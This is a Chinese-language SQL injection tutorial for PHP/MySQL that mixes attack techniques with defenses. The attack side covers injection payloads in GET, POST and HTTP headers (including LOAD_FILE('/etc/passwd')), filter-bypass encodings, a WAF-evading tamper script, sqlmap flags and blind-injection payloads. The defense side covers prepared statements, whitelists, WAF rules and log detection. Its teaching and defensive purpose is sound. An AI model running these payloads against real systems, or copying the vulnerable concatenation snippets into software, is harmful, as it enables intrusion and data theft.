1. SQL注入的本质与PHP/MySQL环境特性
在Web安全领域,SQL注入始终占据着漏洞排行榜的前三位。当开发者直接将用户输入拼接到SQL查询语句中时,攻击者就能通过精心构造的输入改变原始查询逻辑。PHP+MySQL这对经典组合由于历史原因和广泛使用,成为SQL注入的重灾区。
PHP的弱类型特性使得输入过滤容易被绕过。例如:
$id = $_GET['id']; // 直接使用未过滤的用户输入 $sql = "SELECT * FROM users WHERE id = $id"; // 危险拼接MySQL的某些默认配置也加剧了风险:
- 默认允许多语句执行(需显式禁用
multi_statements) - 宽松的错误信息返回(暴露表结构)
- 特定字符集下的宽字节注入漏洞
关键区别:数字型注入与字符型注入的处理方式完全不同。数字型直接拼接变量,而字符型需要闭合引号。
2. 不同请求类型的注入点挖掘技巧
2.1 GET请求注入
最经典的注入场景,参数直接暴露在URL中:
example.com/news.php?id=1' AND 1=CONVERT(int,(SELECT table_name FROM information_schema.tables))--特征:
- 注入点在URL参数
- 通常配合错误回显快速判断
- Burp Suite抓包修改方便
2.2 POST表单注入
表单提交的注入需要构造POST body:
POST /login.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded username=admin'--&password=123实战技巧:
- 修改Content-Type尝试不同解析方式
- 测试JSON格式:
{"username":"admin'--"} - 文件上传字段也可能触发数据库操作
2.3 HTTP头注入
容易被忽略的注入点:
GET / HTTP/1.1 Host: example.com User-Agent: ' OR 1=1-- X-Forwarded-For: 127.0.0.1' AND (SELECT LOAD_FILE('/etc/passwd'))--高危头字段:
- Cookie
- Referer
- User-Agent
- X-Forwarded-For
3. 突破过滤的编码与变形技术
3.1 常见过滤绕过方法
| 过滤项 | 绕过方式 | 示例 |
|---|---|---|
| 空格 | 注释符/**/、括号、Tab | UNION/**/SELECT |
| 引号 | 十六进制、CHAR()函数 | WHERE user=0x61646d696e |
| 等号 | LIKE、REGEXP、>0 | WHERE 1 LIKE 1 |
| 关键字 | 大小写混写、内联注释 | SeLeCt、/*!50000select*/ |
3.2 高级编码技巧
- 十六进制编码:
SELECT 0x61646d696e→ "admin" - URL双重编码:
%2527→' - Unicode规范化:
%u0027→' - MySQL字符函数:
CONCAT(CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110))
4. 实战中的自动化与手动测试结合
4.1 工具链配置
推荐组合:
- Burp Suite:拦截修改请求
- sqlmap:自动化检测
sqlmap -u "http://test.com?id=1" --level=5 --risk=3 - 自定义Tamper脚本:
# 示例:绕过WAF的Tamper脚本 def tamper(payload): return payload.replace("'", "CHAR(39)")
4.2 手工注入四步法
- 探测注入点:
?id=1'观察错误 - 判断字段数:
ORDER BY 4-- - 确定回显位:
UNION SELECT 1,2,3-- - 数据提取:
UNION SELECT user(),database(),version()--
4.3 盲注技术要点
时间盲注典型payload:
IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)布尔盲注判断逻辑:
?id=1 AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'5. 防御体系的构建方案
5.1 代码层防护
- 预处理语句(PDO最佳实践):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]); - 白名单过滤:
if(!preg_match('/^\d+$/', $_GET['id'])) { die('Invalid input'); }
5.2 架构层防护
- WAF规则配置示例:
location / { ModSecurityEnabled on; SecRule ARGS "@detectSQLi" "id:1001,deny,status:403" } - 数据库权限控制:
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'password'; GRANT SELECT ON app_db.* TO 'webuser'@'localhost';
5.3 监控与应急
- 日志分析关键词:
grep -E "('|\b(union|select|sleep)\b)" /var/log/apache2/access.log - 蜜罐表设计:
CREATE TABLE fake_users ( id INT PRIMARY KEY, fake_data TEXT ) ENGINE=InnoDB;
我在实际渗透测试中发现,即使采用了预处理语句,如果开发者在动态表名/列名场景下直接拼接参数,仍然会导致注入。例如:
// 仍然不安全的写法 $query = "SELECT * FROM " . $_GET['table'] . " WHERE id = ?"; $stmt = $pdo->prepare($query);这种情况需要额外处理方案:
- 建立表名白名单映射
- 使用数据库元数据校验
- 实现表名转义函数